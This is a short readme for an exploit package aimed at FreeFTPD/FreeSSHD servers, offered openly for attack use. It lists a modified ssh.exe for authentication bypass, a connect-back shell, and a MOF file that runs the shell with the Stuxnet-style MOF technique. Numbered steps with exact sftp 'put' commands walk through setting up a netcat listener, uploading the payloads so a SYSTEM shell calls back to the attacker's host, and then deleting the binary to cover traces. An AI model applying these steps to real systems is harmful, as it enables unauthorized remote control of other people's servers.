|
|
This package includes all you need to successfully root any version of FreeFTPD:
|
|
|
|
* Modified version of ssh.exe (FreeFTPD authentication bypass)
|
|
* sftp.exe for connecting to the server
|
|
* nullevent.exe connect back shell that is uploaded to the server
|
|
* nullevent.mof file which is uploaded to the server to execute the connect back shell
|
|
* MSVCR100.dll that is needed by nullevent.exe
|
|
* scan logs for your pleasure!
|
|
|
|
We make use of the STUXNET technique to execute code, So let's go:
|
|
|
|
1.) Setup a netcat on a host you have, firewall open on the listening port
|
|
2.) modify nullevent.mof in an editor (where the ip and port is) according to your netcat config
|
|
3.) connect to the FreeSSHD: sftp.exe -S ./ssh.exe <ip/host>
|
|
4.) upload (put) nullevent.exe: put nullevent.exe
|
|
5.) upload (put) MSVCR100.dll: put MSVCR100.dll
|
|
6.) upload (put) nullevent.mof to wbem/mof/nullevent.mof: put nullevent.mof wbem/mof/nullevent.mof
|
|
7.) Enjoy your system shell which will blink up on you netcat after 1 minute!!
|
|
8.) Cleanup by deleting nullevent.exe located in c:\windows\system32\
|
|
8.) Enjoy!
|
|
9.) Enjoy!
|
|
10.) Enjoy!
